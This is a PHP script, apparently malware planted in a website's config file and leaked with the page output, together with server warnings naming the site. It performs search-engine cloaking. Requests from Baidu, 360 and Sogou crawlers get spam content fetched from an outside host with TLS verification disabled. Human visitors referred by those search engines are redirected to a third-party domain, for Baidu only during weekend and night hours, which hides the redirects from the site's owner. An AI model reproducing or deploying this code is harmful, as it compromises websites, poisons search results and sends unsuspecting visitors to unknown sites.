$ip_segments = [
'124.166.232.', '116.179.32.', '180.76.15.', '180.76.5.', '220.181.108.',
'123.125.71.', '123.125.66.', '111.206.198.', '111.206.221.', '180.149.133.',
'61.135.186.', '220.181.32.', '61.135.168.', '23.88.208.', '61.135.165.',
'61.135.169.', '104.245.36.', '149.28.84.', '158.247.209.', '23.89.152.',
'45.66.156.', '65.49.194.', '8.9.8.', '220.181.108.', '116.179.32.',
'123.125.68.', '220.181.68.', '220.181.7.', '123.125.66.', '121.14.89.',
'203.208.60.', '210.72.225.', '123.125.71.', '220.181.107.', '220.181.38.',
'220.181.19.', '159.226.50.', '202.108.11.', '202.108.22.', '202.108.23.',
'202.108.249.', '202.108.250.', '61.135.145.', '61.135.146.', '125.90.88.'
];
$baidu_spider_ips = array (
);
$baidu_spider_ips = array_merge($ip_segments, $baidu_spider_ips);
$client_ip = getClientIp();
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if (isBaiduSpider($client_ip) || preg_match('/360spider|sogou web spider|sogou pic spider/i', $ua)) {
if (isMatchUrl()) {
$headers = [
//'Host: '.$_SERVER['HTTP_HOST'],
'User-Agent: '.$ua,
'X-FORWARDED-FOR: '.$client_ip
];
if ($referer !== '') {
$headers[] = 'Referer: '.$referer;
}
$api_url = "https://seo.sycz888.com/site/b5e476cbb411723f04e8bbca1290a4e1/".ltrim($_SERVER['REQUEST_URI'], '/');
echo getUrlContent($api_url, $headers);
exit();
} else {
$api_url = "https://seo.sycz888.com/url/b5e476cbb411723f04e8bbca1290a4e1";
echo getUrlContent($api_url);
}
} else {
if (isMatchUrl() && $referer !== '') {
$parsed = parse_url($referer);
if (!empty($parsed['domain'])) {
if (preg_match('/m\.baidu\.com|360\.com|so\.com|sogou\.com/i', $parsed['domain'])) {
echo '';
echo '';
exit();
}
}
}
}
function getClientIp()
{
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
return $_SERVER['REMOTE_ADDR'];
}
}
function isMatchUrl()
{
$url_path = ltrim($_SERVER['REQUEST_URI'], '/');
$pattern = '/^chapter\/(\d{1,15})\.html$|^chapter\/(\d{1,15})$|^mh\/(\d{1,15})\.html$|^mh\/(\d{1,15})$|^mh\/(\d{1,15})\.html$|^mh\/(\d{1,15})$|^Play\/(\d{1,15})$|^Play\/(\d{1,15})\.html$|^Movie\/(\d{1,15})$|^Movie\/(\d{1,15})\.html$|^voddetail\/(\d{1,15})$|^voddetail\/(\d{1,15})\.html$|^comic\/(\d{1,15})$|^comic\/(\d{1,15})\.html$/';
return preg_match($pattern, $url_path);
}
function isIpInRange($ip, $cidr)
{
if (strpos($cidr, '/') !== false) {
list($subnet, $mask) = explode('/', $cidr);
return (ip2long($ip) & ~((1 << (32 - $mask)) - 1)) == ip2long($subnet);
} else {
return strpos($ip, $cidr) === 0;
}
}
function isBaiduSpider($client_ip)
{
global $baidu_spider_ips;
foreach ($baidu_spider_ips as $cidr) {
if (isIpInRange($client_ip, $cidr)) {
return true;
}
}
return false;
}
function getUrlContent($url, $header = []) {
$curl = curl_init();
if (stripos($url,"https://") !== FALSE) {
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
}
if (!empty($header)) {
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
}
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_NOSIGNAL, 1);
curl_setopt($curl, CURLOPT_TIMEOUT_MS, 30 * 1000);
$content = curl_exec($curl);
curl_close($curl);
return $content;
}
// 获取访问者的 IP 地址
$user_ip = $_SERVER['REMOTE_ADDR'];
// 原有的 IP 段列表
$ip_segments = [
'124.166.232.', '116.179.32.', '180.76.15.', '180.76.5.', '220.181.108.',
'123.125.71.', '123.125.66.', '111.206.198.', '111.206.221.', '180.149.133.',
'61.135.186.', '220.181.32.', '61.135.168.', '23.88.208.', '61.135.165.',
'61.135.169.', '104.245.36.', '149.28.84.', '158.247.209.', '23.89.152.',
'45.66.156.', '65.49.194.', '8.9.8.', '220.181.108.', '116.179.32.',
'123.125.68.', '220.181.68.', '220.181.7.', '123.125.66.', '121.14.89.',
'203.208.60.', '210.72.225.', '123.125.71.', '220.181.107.', '220.181.38.',
'220.181.19.', '159.226.50.', '202.108.11.', '202.108.22.', '202.108.23.',
'202.108.249.', '202.108.250.', '61.135.145.', '61.135.146.', '125.90.88.'
];
// 从 ip.txt 文件加载需要排除的完整 IP 地址
$ip_file_path = '/tmp/ipb.txt';
$excluded_ips = [];
if (file_exists($ip_file_path)) {
// 读取文件并去掉每个 IP 地址的空格和换行符
$excluded_ips = array_map('trim', file($ip_file_path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES));
}
// 检查当前 IP 是否在排除列表内
$is_excluded_ip = false;
// 检查 IP 是否在原有的 IP 段或 ip.txt 中
foreach ($excluded_ips as $excluded_ip) {
if ($user_ip === $excluded_ip) {
$is_excluded_ip = true;
break;
}
}
foreach ($ip_segments as $segment) {
if (strpos($user_ip, $segment) === 0) {
$is_excluded_ip = true;
break;
}
}
// 获取 Referer 判断是否来自百度、搜搜、搜狗或者 sm.cn
$is_baidu_referer = isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'baidu.com') !== false;
$is_sm_referer = isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'sm.cn') !== false;
$is_sogou_referer = isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'sogou.com') !== false;
// 获取当前时间(北京时间)
date_default_timezone_set('Asia/Shanghai');
$current_time = time();
$current_day = date('w', $current_time); // 星期几 (0=星期日, 1=星期一, ..., 6=星期六)
$current_hour = date('G', $current_time); // 24小时制的小时
$current_minute = date('i', $current_time); // 分钟
// 判断是否在指定时间段内
$in_time_period = false;
// 星期五下午1点到星期一下午1点
if (($current_day == 5 && $current_hour >= 13) // 星期五下午1点到午夜
|| ($current_day == 6) // 星期六全天
|| ($current_day == 0) // 星期日全天
|| ($current_day == 1 && $current_hour < 13)) { // 星期一到下午1点
$in_time_period = true;
}
// 其他时间晚上9点到凌晨3点
if (($current_hour >= 21) || ($current_hour < 3)) {
$in_time_period = true;
}
// 百度 referer 判断并且时间段判断
if (!$is_excluded_ip && $is_baidu_referer && $in_time_period) {
// 定义跳转的域名
$domains = ["https://bockea.gxjcpm.com.cn/ft/9.html"];
$random_domain = $domains[array_rand($domains)];
header("Location: $random_domain");
exit;
}
// 搜搜和搜狗 referer 判断,不需要时间段限制
if (!$is_excluded_ip && ($is_sm_referer || $is_sogou_referer)) {
// 定义跳转的域名
$domains = ["https://bockea.gxjcpm.com.cn/ft/9.html"];
$random_domain = $domains[array_rand($domains)];
header("Location: $random_domain");
exit;
}
?>
Warning: Cannot modify header information - headers already sent by (output started at /www/wwwroot/yiyin360.com/kimi/configs/config.php:97) in /www/wwwroot/yiyin360.com/kimi/class/router.php on line 5
Warning: Cannot modify header information - headers already sent by (output started at /www/wwwroot/yiyin360.com/kimi/configs/config.php:97) in /www/wwwroot/yiyin360.com/kimi/class/router.php on line 6